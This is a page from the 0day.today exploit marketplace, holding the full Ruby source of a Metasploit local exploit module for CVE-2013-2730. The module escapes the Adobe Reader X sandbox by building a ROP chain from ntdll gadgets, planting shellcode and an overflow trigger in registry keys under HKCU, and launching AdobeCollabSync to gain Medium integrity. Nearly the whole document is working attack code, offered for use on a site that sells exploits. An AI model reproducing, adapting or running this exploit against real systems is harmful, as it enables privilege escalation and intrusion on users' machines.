0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' require 'msf/core/post/common' require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info={}) super(update_info(info, { 'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass', 'Description' => %q{ This module exploits a vulnerability on Adobe Reader X Sandbox. The vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe process to write register values which can be used to trigger a buffer overflow on the AdobeCollabSync component, allowing to achieve Medium Integrity Level privileges from a Low Integrity AcroRd32.exe process. This module has been tested successfully on Adobe Reader X 10.1.4 over Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Felipe Andres Manzano', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2730' ], [ 'OSVDB', '93355' ], [ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ] ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => 'meterpreter', 'Payload' => { 'Space' => 12288, 'DisableNops' => true }, 'Targets' => [ [ 'Adobe Reader X 10.1.4 / Windows 7 SP1', { 'AdobeCollabSyncTrigger' => 0x18fa0, 'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF" } ], ], 'DefaultTarget' => 0, 'DisclosureDate'=> 'May 14 2013' })) end def on_new_session print_status("Deleting Malicious Registry Keys...") if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself") end if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself") end print_status("Cleanup finished") end # Test the process integrity level by trying to create a directory on the TEMP folder # Access should be granted with Medium Integrity Level # Access should be denied with Low Integrity Level # Usint this solution atm because I'm experiencing problems with railgun when trying # use GetTokenInformation def low_integrity_level? tmp_dir = expand_path("%TEMP%") cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin session.shell_command_token("mkdir #{new_dir}") rescue return true end if directory?(new_dir) session.shell_command_token("rmdir #{new_dir}") return false else return true end end def check_trigger signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length) if signature == target['AdobeCollabSyncTriggerSignature'] return true end return false end def collect_addresses # find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe @addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'] vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}") # find kernel32.dll kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll") @addresses['kernel32.dll'] = kernel32["return"] if @addresses['kernel32.dll'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll") end vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}") # find kernel32.dll methods virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc") @addresses['VirtualAlloc'] = virtual_alloc["return"] if @addresses['VirtualAlloc'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc") end vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}") reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA") @addresses['RegGetValueA'] = reg_get_value["return"] if @addresses['RegGetValueA'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA") end vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}") # find ntdll.dll ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll") @addresses['ntdll.dll'] = ntdll["return"] if @addresses['ntdll.dll'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll") end vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}") end # Search a gadget identified by pattern on the process memory def search_gadget(base, offset_start, offset_end, pattern) mem = base + offset_start length = offset_end - offset_start mem_contents = session.railgun.memread(mem, length) return mem_contents.index(pattern) end # Search for gadgets on ntdll.dll def search_gadgets ntdll_text_base = 0x10000 search_length = 0xd6000 @gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3") if @gadgets['mov [edi], ecx # ret'].nil? fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'") end @gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll'] @gadgets['mov [edi], ecx # ret'] += ntdll_text_base vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}") @gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2 vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}") @gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3") if @gadgets['pop edi # ret'].nil? fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'") end @gadgets['pop edi # ret'] += @addresses['ntdll.dll'] @gadgets['pop edi # ret'] += ntdll_text_base vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}") @gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3") if @gadgets['pop ecx # ret'].nil? fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'") end @gadgets['pop ecx # ret'] += @addresses['ntdll.dll'] @gadgets['pop ecx # ret'] += ntdll_text_base vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}") end def store(buf, data, address) i = 0 while (i < data.length) buf << [@gadgets['pop edi # ret']].pack("V") buf << [address + i].pack("V") # edi buf << [@gadgets['pop ecx # ret']].pack("V") buf << data[i, 4].ljust(4,"\x00") # ecx buf << [@gadgets['mov [edi], ecx # ret']].pack("V") i = i + 4 end return i end def create_rop_chain mem = 0x0c0c0c0c buf = [0x58000000 + 1].pack("V") buf << [0x58000000 + 2].pack("V") buf << [0].pack("V") buf << [0x58000000 + 4].pack("V") buf << [0x58000000 + 5].pack("V") buf << [0x58000000 + 6].pack("V") buf << [0x58000000 + 7].pack("V") buf << [@gadgets['ret']].pack("V") buf << rand_text(8) # Allocate Memory To store the shellcode and the necessary data to read the # shellcode stored in the registry buf << [@addresses['VirtualAlloc']].pack("V") buf << [@gadgets['ret']].pack("V") buf << [mem].pack("V") # lpAddress buf << [0x00010000].pack("V") # SIZE_T dwSize buf << [0x00003000].pack("V") # DWORD flAllocationType buf << [0x00000040].pack("V") # flProtect # Put in the allocated memory the necessary data in order to read the # shellcode stored in the registry # 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00" reg_key_length = store(buf, reg_key, mem) # 2) The reg entry: shellcode value_key = "shellcode\x00" store(buf, value_key, mem + reg_key_length) # 3) The output buffer size: 0x3000 size_buffer = 0x3000 buf << [@gadgets['pop edi # ret']].pack("V") buf << [mem + 0x50].pack("V") # edi buf << [@gadgets['pop ecx # ret']].pack("V") buf << [size_buffer].pack("V") # ecx buf << [@gadgets['mov [edi], ecx # ret']].pack("V") # Copy the shellcode from the the registry to the # memory allocated with executable permissions and # ret into there buf << [@addresses['RegGetValueA']].pack("V") buf << [mem + 0x1000].pack("V") # ret to shellcode buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER buf << [mem].pack("V") # lpSubKey buf << [mem + 0x3c].pack("V") # lpValue buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY buf << [0].pack("V") # pdwType buf << [mem + 0x1000].pack("V") # pvData buf << [mem + 0x50].pack("V") # pcbData end # Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry def store_data_registry(buf) vprint_status("Creating the Registry Key to store the shellcode...") if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") vprint_good("Registry Key created") else fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode") end vprint_status("Storing the shellcode in the Registry...") if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY") vprint_good("Shellcode stored") else fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry") end # Create the Malicious registry entry in order to exploit.... vprint_status("Creating the Registry Key to trigger the Overflow...") if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") vprint_good("Registry Key created") else fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow") end vprint_status("Storing the trigger in the Registry...") if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY") vprint_good("Trigger stored") else fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry") end end def trigger_overflow vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...") # Create a thread in order to execute the necessary code to launch AdobeCollabSync ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 print_error("Unable to CreateThread") return end hthread = ret['return'] vprint_status("Resuming the Thread...") # Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability! ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread") end end def check @addresses = {} acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") @addresses['AcroRd32.exe'] = acrord32["return"] if @addresses['AcroRd32.exe'] == 0 return Msf::Exploit::CheckCode::Unknown elsif check_trigger return Msf::Exploit::CheckCode::Vulnerable else return Msf::Exploit::CheckCode::Detected end end def exploit @addresses = {} @gadgets = {} print_status("Verifying we're in the correct target process...") acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") @addresses['AcroRd32.exe'] = acrord32["return"] if @addresses['AcroRd32.exe'] == 0 fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found") end vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}") print_status("Checking the AcroRd32.exe image...") if not check_trigger fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target") end print_status("Checking the Process Integrity Level...") if not low_integrity_level? fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level") end print_status("Collecting necessary addresses for exploit...") collect_addresses print_status("Searching the gadgets needed to build the ROP chain...") search_gadgets print_good("Gadgets collected...") print_status("Building the ROP chain...") buf = create_rop_chain print_good("ROP chain ready...") print_status("Storing the shellcode and the trigger in the Registry...") store_data_registry(buf) print_status("Executing AdobeCollabSync.exe...") trigger_overflow end end # 0day.today [2024-10-05] #